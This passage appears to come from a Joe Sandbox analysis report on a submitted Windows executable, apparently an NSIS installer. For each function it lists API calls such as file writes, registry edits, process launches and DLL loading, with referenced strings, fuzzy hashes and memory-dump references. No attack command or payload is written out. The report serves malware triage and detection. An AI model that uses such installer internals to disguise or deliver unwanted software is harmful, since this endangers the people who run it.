SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43
NUL, xrefs: 00406A9E
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0005D600,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
